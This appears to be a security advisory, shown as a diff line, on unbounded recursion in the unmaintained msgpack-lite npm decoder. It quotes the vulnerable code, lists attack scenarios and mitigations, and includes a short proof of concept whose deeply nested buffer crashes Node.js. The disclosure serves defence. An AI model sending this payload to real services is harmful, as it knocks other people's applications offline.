+ "details": "## Summary\n\nThe `msgpack-lite` npm package (all versions including 0.1.26) contains an unbounded recursion vulnerability in its binary MessagePack decoder. The `decode()` function recursively processes nested arrays (type `0x91`) and maps (type `0x80`–`0x8F`) without any depth tracking or recursion limit. An attacker can craft a MessagePack payload with deeply nested structures to exhaust the JavaScript call stack, causing a `RangeError` and terminating the Node.js process.\n\n**The package has been unmaintained since 2016, and no patch is expected.** Users should migrate to `@msgpack/msgpack`.\n\n## Vulnerable code\n\n**Array decoder (`lib/read-format.js:77-84`):**\n```javascript\nfunction array(decoder, len) {\n var value = new Array(len);\n var decode = decoder.codec.decode;\n for (var i = 0; i < len; i++) {\n value[i] = decode(decoder); // Unbounded recursion — no depth parameter\n }\n return value;\n}\n```\n\n**Map decoder (`lib/read-format.js:43-57`):**\n```javascript\nfunction map_to_obj(decoder, len) {\n var value = {};\n var decode = decoder.codec.decode;\n for (i = 0; i < len; i++) {\n k[i] = decode(decoder); // Recurses on key\n v[i] = decode(decoder); // Recurses on value\n }\n // ...\n}\n```\n\n**Core dispatcher (`lib/read-core.js:21-26`):**\n```javascript\nfunction decode(decoder) {\n var type = readUint8(decoder);\n var func = readToken[type];\n return func(decoder); // Dispatches back to array/map with no guard\n}\n```\n\nNo depth counter, configuration option, or hardcoded limit exists anywhere in the codebase.\n\n## Proof of Concept\n\n```javascript\nvar msgpack = require('msgpack-lite');\n\nvar depth = 5000;\nvar buf = Buffer.alloc(depth + 1);\nbuf.fill(0x91); // fixarray(1) — each byte adds one nesting level\nbuf[depth] = 0xc0; // nil — innermost value\n\ntry {\n msgpack.decode(buf);\n} catch (e) {\n console.log('Error:', e.message);\n // RangeError: Maximum call stack size exceeded\n}\n```\n\nA ~5 KB buffer reliably crashes Node.js v18+ with `RangeError: Maximum call stack size exceeded`.\n\n## Impact\n\nAny application that calls `msgpack.decode()` or `msgpack.Decoder.decode()` on untrusted input is vulnerable.\n\nAttack scenarios:\n- REST API endpoints accepting `Content-Type: application/x-msgpack`\n- WebSocket connections using MessagePack serialization\n- Message queues (Kafka, RabbitMQ, Redis Streams) with MessagePack-encoded messages\n- Microservice IPC using MessagePack\n\n## Mitigation\n\nNo patch will be released — the package is unmaintained.\n\n**Migrate to `@msgpack/msgpack`** (the official MessagePack JS library), which implements depth limiting by default.\n\nIf migration is not immediately possible:\n- Validate payload size and structural complexity before calling `decode()`\n- Wrap `decode()` calls in a worker thread or child process to contain crashes",
0 commit comments